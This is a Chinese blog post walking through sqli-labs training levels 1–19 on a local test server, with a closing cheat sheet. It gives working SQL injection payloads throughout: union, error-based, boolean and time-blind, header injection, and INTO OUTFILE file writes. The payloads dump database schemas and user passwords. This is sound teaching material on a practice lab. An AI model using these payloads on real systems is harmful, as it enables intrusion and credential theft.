首页 > 数据库 >web安全-SQL注入(sqli)

web安全-SQL注入(sqli)

时间:2024-04-24 21:14:13浏览次数:25  
标签:web sqli concat --+ SQL table id select schema

web安全-SQL注入(sqli)

第一关 基于报错的单引号字符型GET注入

查看源码

image-20240423140522068

单引号,确认存在注入点:

http://127.0.0.1/sqli/Less-1/?id=1'

image-20240423140608132

查询字段数:

从1尝试到4,3没报错,4报错说明字段数为3

http://127.0.0.1/sqli/Less-1/?id=1' order by 1,2,3,4--+

image-20240423140730684

因为这里有回显,所以使用union注入查看哪些字段是有回显,

为了不让前面的id=1的查询成功影响我们的判断,所以将1改为任意使其查询失败的值,例如-1(当然也可以用and1=2之类,只要能查询失败即可)

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+

image-20240423141611251

接下来查看数据库信息:

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,version(),database() --+

image-20240423141717867

查看所有数据库所有表明:

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#database()可以替换成'security'

image-20240423142135774

根据表名知道可能用户的账户密码在users表中,接下来我们就时得到该表下的字段名及内容

查询users里的字段:

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

image-20240423142551472

上述操作可以得到两个敏感字段username和password,接下来就要得到对应字段内容

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,password) from users --+

image-20240423142944962

这样不能分辨账号密码,可以在二者之间添加字段id隔开

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,id,password) from users --+

image-20240423143450606

第二关 基于报错的数字型GET注入

查看源码

image-20240423143650225

数字型注入,可以和第一关一样进行判断,输入的单引号看到报错,但是信息看不到数字

image-20240423144112727

那么步骤时差不多的

?id=1 order by 3 --+
?id=-1 union select 1,2,3 --+
?id=-1 union select 1,version(),database() --+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1 union select 1,2,group_concat(username,id,password) from users --+

第三关 基于报错的GET单引号变形字符型注入

查看源码

image-20240423145138056

可以看到$id使用''和()圈起来了,所以仅使用''是不行的,报错信息也可以判断出来

image-20240423145649921

对已有代码基础进行构造

?id=1') order by 3 --+
?id=-1') union select 1,2,3 --+
?id=-1') union select 1,version(),database() --+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1') union select 1,2,group_concat(username,id,password) from users --+

第四关 基于报错的GET双引号变形字符型注入

查看源码

image-20240423150212439

可以看到$id被提前定义,双引号括起来了,然后进行拼接的时候又用括号括起来,故需要闭合双引号和括号

,报错信息也可以判断出来

image-20240423150618428

对以上已有基础代码进行构造

?id=1") order by 3 --+
?id=-1") union select 1,2,3 --+
?id=-1") union select 1,version(),database() --+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1") union select 1,2,group_concat(username,id,password) from users --+

第五关 GET-二次注入-单引号-字符型

查看源码

image-20240423151635657

根据提示是字符型,这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据不显示只有对错页面我们可以选择报错注入

其中payload为你插入的SQL语句,concat是聚合函数,使用聚合函数进行双注入查询时,会在错误信息中携带payload查询出的信息

查询库

http://127.0.0.1/sqli/Less-5/?id=-1'or updatexml(1,concat(0x7e,database(),0x7e),1) --+

image-20240423154039462

表名

?id=-1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+

image-20240423161208930

字段

http://127.0.0.1/sqli/Less-5/?id=-1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' ),0x7e),1)--+

image-20240423160934088

查询数据:

最后爆数据显示错误,提示不能超过一行,所以改用limit来显示,并且字段是也不能单个,所以添加concat()显示多个字段数,找下一个就改成limit1,1以此类推

http://127.0.0.1/sqli/Less-5/?id=-1' or updatexml(1,concat(0x7e,(select concat(username,id,password) from users limit 0,1),0x7e),1) --+

image-20240423162149525

第六关 GET-二次注入-双引号-字符型

查看源码

image-20240423162349110

拼接”“与’‘,报错信息也可以判断出来

image-20240423162953801

对以上已有基础代码进行构造

?id=-1'" or updatexml(1,concat(0x7e,database(),0x7e),1)--+
?id=-1'" or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
?id=-1'" or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+
http://127.0.0.1/sqli/Less-6/?id=-1'" or updatexml(1,concat(0x7e,(select concat(username,id,password) from users limit 0,1),0x7e),1)--+

第七关 利用into Outfile来写shell

查看源码

image-20240423164048201

id被双层括号和单引号包围,url正确时有提示,用outfile,错误时只有错误

image-20240423165418394

尝试其他闭合,但不显示具体错误信息,说明不能用报错注入

这时候我们采用布尔盲注

?id=1')) and substr(database(),1,1)='x' --+

image-20240423185233647

对x值一直猜,直到s显示You are in.... Use outfile......

image-20240423185420371

这里我们可以用bp进行爆破

image-20240423185636912

设置payload

image-20240423185730698

可以看到s响应You are in.... Use outfile......image-20240423185850250

那么我们就可以进行过滤,并进行修改第二个参数,得到数据库下一位字母,轮番查找

image-20240423190408370

过滤完之后就会显示正确字符,修改第二个参数,继续第二位爆破

image-20240423190534613

一直爆破

image-20240423190654272

到第9位时会显示空,所以数据库名称就是security

image-20240423190844783

在mysql中,outfile可以输出一个文件,但想要执行这样的操作,就必须开启文件写入的权限

我们可以执行

show variables like '%secure%';

image-20240423191811031

可以看到,secure_file_priv的value值是null,那么代表此时文件的写入权限是关闭的,那我们需要写入输出的文件的保存路径来开启

在mysql中my.ini文件添加secure_file_priv="",重启小皮,进入命令行

image-20240423193916328

构造poc爆表名(into outfile后面的路径分隔符不能是\)

?id=1')) union select user(),version(),(select group_concat(table_name) from information_schema.tables where table_schema="security") into outfile "C:\\Users\\Lenovo\\Desktop\\table.txt" --+

桌面就会出现表名内容

image-20240423194714074

字段

?id=1')) union select user(),version(),(select group_concat(column_name) from information_schema.columns where table_name="users") into outfile "C:\\Users\\Lenovo\\Desktop\\table.txt" --+

image-20240423195034408

账号密码

?id=1')) union select user(),version(),(select group_concat(username,id,password) from users) into outfile "C:\\Users\\Lenovo\\Desktop\\table.txt" --+

image-20240423195226853

第八关 基于布尔的盲注

查看源码

image-20240423195739102

布尔盲注,比较耗时间

  • 判断数据库长度,依次修改1,2,3直到数字8,无显示位,数据库长度就为8
?id=1' and length(database())>1 --+

image-20240423200943106

  • 爆破数据库名

此步骤与第七关爆破一样,就是错误没有反应,爆破出数据库为security

  • 判断表的长度

3有回显,4无回显,表的数量为4

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+

image-20240423202458156

  • 判断第一个表的长度

5有回显,6无回显,长度为6

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) >5 --+

image-20240423202906016

  • 判断表的字符
?id=1'   and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+

同理使用bp爆破,

  1. limit后0表示从第一表开始取
  2. 第一个1表示只取一个表
  3. 第二个一表示从第一个表的第一个字符开始截取
  4. 第三个1表示从第一个表的第一个字符开始,截取长度为1个字符

image-20240423204950634

可以求出第一个表为emails,referers,uagents,users

  • 获取字段列名
?id=1' and substr((select column_name from information_schema.columns where table_name = 'users' and table_schema='security' limit 0,1),1,1)='i' --+

同理使用bp爆破,得到列名id,username,password

  • 获取数据
?id=1'   and substr((select username from users limit 0,1),1,1)='D' --+

image-20240423212906503

接下来就是bp爆破字段内容了,这样下来程序是十分复杂的。

第九关 基于时间的盲注

查看源码

image-20240423213153719

第九关会发现不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们了,布尔盲注适合页面对于错误和正确结果有不同反应,如果界面一直不变我们可以使用时间注入,时间盲注和布尔盲注没有多大差别,时间盲注多了if函数和sleep()函数if(a,sleep(10),1)如果a结果为真,那么执行sleep(10)页面延迟10秒,如果a结果为假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串

?id=1' and if(1=1,sleep(5),1)--+ //更换单引号成"、)根据反应时间判断参数

image-20240424102207802

判断数据库长度

?id=1' and if(length((select database()))>7,sleep(5),1)--+ //大于7时有延迟反应,猜测是8

判断字符

http://127.0.0.1/sqli/Less-9/?id=1' and if(substr((select database()),1,1)=s,sleep(5),1)--+ //逐一更换s字符串,注意判断出数据库

判断表名

?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),1)--+

手工注入比较麻烦,同理可使用bp爆破,需要把接受的参数打开,更换limit参数和第二个1爆破

image-20240424103517665

判断字段名

与bp爆破一样爆出字段

?id=1' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(10),1)--+

逐一检测内容

?id=1' and if(substr((select username from users limit 0,1),1,1)='D',sleep(10),1)--+

更换username password获取内容

第十关 基于时间的盲注

查看源码

image-20240424105418717

?id=1'" and if(substr((select username from users limit 0,1),1,1)='D',sleep(10),1)--+

第十一关 单引号报错注入

查看源码

image-20240424105708644

前十关时get请求,从第十一关是post请求,参数在表单里面,我们可以在输入框进行注入,

image-20240424110253517

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' and password='' LIMIT 0,1' at line 1

知道sql语句可以构造一个恒成立的sql语句,注释符需要换成#

1' union select 1,database()#

表名

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#

思路与第一关联合注入相同

第十二关 双引号报错注入

查看源码

image-20240424124730636

输入1‘没反应,1“报错

image-20240424124707682

构造payload

1") union select 1,database()#

image-20240424124824634

第十三关 二次注入

查看源码

image-20240424125142259

使用1;回显错误

image-20240424125815213

构造payload

1') order by 2# //没有

image-20240424130018511

利用union查询,发现没有回显,看源码被注释掉了,没有回显,输入3报错,可以利用报错注入

查库

1')or updatexml(1,concat(0x7e,database(),0x7e),1)#

查表

1')or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

查字段

1')or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' ),0x7e),1)#

查内容

1')or updatexml(1,concat(0x7e,(select concat(username,id,password) from users limit 0,1),0x7e),1)#

第十四关 二次注入

查看源码

image-20240424130859882

1’无反应,1”报错

image-20240424131033170

同上关使用报错注入,将')换成"

第十五关 时间盲注

查看源码

image-20240424131337955

和第十关一样不产生报错信息,这就是明显的布尔盲注,因为还有错误页面和正确页面进行参考

第十六关 时间盲注

同上

第十七关 update报错注入

查看源码

function check_input($value) //检查输入的账户名
	{
	if(!empty($value)) //如果账户名不为空进行以下判断
		{
		// truncation (see comments)
		$value = substr($value,0,15); //截取账户前15位字符
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc()) //该函数是否是on也就是是否打开,返回0表示关闭,1代表打开
            //该函数作用给(' " / null) 特殊字符加上反斜杠转义
			{
			$value = stripslashes($value);//删除反斜杠
			}

		// Quote if not a number
		if (!ctype_digit($value))//uname字符串如果是非数字将其中特殊字符转义
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value); //变成整数
		}
	return $value;
	}

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];
// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
	if($row)
	{
  		//echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		//echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
  		echo "<br>";
	
	
	
		if (mysql_error())
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			print_r(mysql_error());
			echo "</br></br>";
			echo "</font>";
		}
		else
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			//echo " You password has been successfully updated " ;	

页面展示的是一个密码重置页面,根据源码提示使用报错注入

这题比较坑,注入点在密码处,用户名要输入存在的用户名,比如admin

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#&submit=Submit

image-20240424155117197

第十八题 HTTP头部user-agent注入

查看源码

	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
			mysql_query($insert);
			//echo 'Your IP ADDRESS is: ' .$IP;

可以看到页面有个IP,源码发现对账户密码都有检查,往下看会发现插入sql语句,当我们输入账户名和密码我们的User-Agent字段内容就会出现在页面上

image-20240424155621450

在User-Agent后面加上单引号出现如下错误,可见插入语句是将ua字段和IP地址以及账户名作为字符串进行插入且外面有括号。还要注意插入语句需要三个参数,所以我们在构造的时候也需要有三个参数,因为#后面都被注释掉了

image-20240424160201368

构造数据,页面显示正常,可以将其他参数换成sql语句进行报错注入

1',2,updatexml (1,concat(0x7e,(select group_concat(username,password) from users),0x7e),0))#

第十九关 HTTP头部refered注入

切换到referer字段,和十八关一样

总结

联合注入

1' order by 3#
1' union select 1,2,database()#
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
id=-1' union select 1,2,group_concat(username,password) from users#

报错注入

1'or updatexml(1,concat(0x7e,database(),0x7e),1)#
1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' ),0x7e),1)#
1' or updatexml(1,concat(0x7e,(select concat(username,id,password) from users limit 0,1),0x7e),1)#
找下一个就修改limit1,1 以此类推

布尔盲注

1' and substr(database(),1,1)='x'#
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'#
1' and substr((select column_name from information_schema.columns where table_name = 'users' and table_schema='security' limit 0,1),1,1)='i'#
1' and substr((select username from users limit 0,1),1,1)='D'#
//可以使用bp爆破字符串

时间盲注

1' and if(substr((select database()),1,1)='s',sleep(10),1)#
1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),1)#
1' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(10),1)#
1' and if(substr((select username from users limit 0,1),1,1)='D',sleep(10),1)#

标签:web,sqli,concat,--+,SQL,table,id,select,schema
From: https://www.cnblogs.com/yang-ace/p/18156355

相关文章

  • 8.prometheus监控--监控Mysql8.0
    一、环境搭建docker-compose安装mysqlmkdir/data/mysql-pcd/data/mysqlcat>docker-compose.yaml<<"EOF"version:'3.1'services:db:image:mysql:8.0restart:alwayscontainer_name:mysqlenvironment:TZ:......
  • [MDP.BlazorCore] 快速建立跨Web、App執行的BlazorApp專案
    團隊資源受限的時候,使用Blazor開發應用系統,只需開發一份程式碼及使用一種程式語言,就同時產出Web跟App應用系統。本篇文章,紀錄使用MDP.BlazorCore所提供的樣板,快速建立跨Web、App執行的BlazorApp專案。為自己留個紀錄,也希望能幫助到有需要的開發人員。.安裝指令:dotnetnewinstal......
  • sqlite数据库常规操作
    SQLite是一个轻量级的数据库,它是C语言编写的一个库,与Python的`sqlite3`模块相结合可以方便地在Python程序中进行数据库操作。以下是如何使用Python的`sqlite3`模块来创建数据库、连接数据库以及进行增删查改操作的基本步骤:###1.导入sqlite3模块```pythonimportsql......
  • CISCN2023初赛-web复现
    Unzip       简单的软链接,都玩烂了。先创个软链接连接到/var/www/html,然后再创个同名文件夹,在这个文件夹下写马,传上去后等效在/var/www/html上写马,直接连接读flag就行了。deserbugjava审计。很显然的反序列化,bugstr传参。lib中出了hutool还有CC3.2.2,但CC自......
  • MySQL Error_code: 1756
    电话告警故障:MySQL从库异常宕机。查看MySQLerror日志:[ERROR]SlaveSQLforchannel'':...Theslavecoordinatorandworkerthreadsarestopped,possiblyleavingdataininconsistentstate.Arestartshouldrestoreconsistencyautomatically,althoughusingn......
  • MySQL分区为什么采取质数101呢?
    MySQL分区为什么采取质数101呢?质数101个分区的底层原理涉及到MySQL分区的工作机制以及质数在分布均匀性方面的特性。MySQL分区机制:MySQL支持分区表,可以将表按照一定的规则分成多个分区,每个分区可以独立地进行管理和操作。分区表可以提高查询效率、降低维护成本、提高可用性等。......
  • mysql慢sql优化流程
    #查询慢sqlselectdb,time,infofromINFORMATION_SCHEMA.processlistwhereinfoisnotnull;#查看执行计划explainSELECTCOUNT(1)FROMtables_nameWHEREvalid=1;#查看表索引showindexfromtables_name; #查看表数据selectcount(*)fromtables_nam......
  • linux 离线安装 mysql8.0
    一、下载linuxmysql8.0离线安装包mysql下载地址:https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.20-linux-glibc2.12-x86_64.tar.xzmysql官方下载最新版本:https://dev.mysql.com/downloads/mysql/ 然后选择linux把下载的压缩包上传到要安装的服务器上,解压mysql t......
  • Qt静态编译后使用QtCipherSqlitePlugin静态编译库
       Qt静态编译后使用QtCipherSqlitePlugin静态编译库  语文功底不好,标题起的有点绕口,解释一下:   就是我使用的Qt是Qt5.15.2静态编译包(要Qt静态编译文件这里下载:QT5.15.2静态编译包下载-koomee-博客园(cnblogs.com)),  先入正题讲解决办法(12345走起):   ......
  • MySQL 分库分表方案,总结太全了。。
    来源:https://www.cnblogs.com/405845829qq/p/7552736.html前言公司最近在搞服务分离,数据切分方面的东西,因为单张包裹表的数据量实在是太大,并且还在以每天60W的量增长。之前了解过数据库的分库分表,读过几篇博文,但就只知道个模糊概念,而且现在回想起来什么都是模模糊糊的。今天......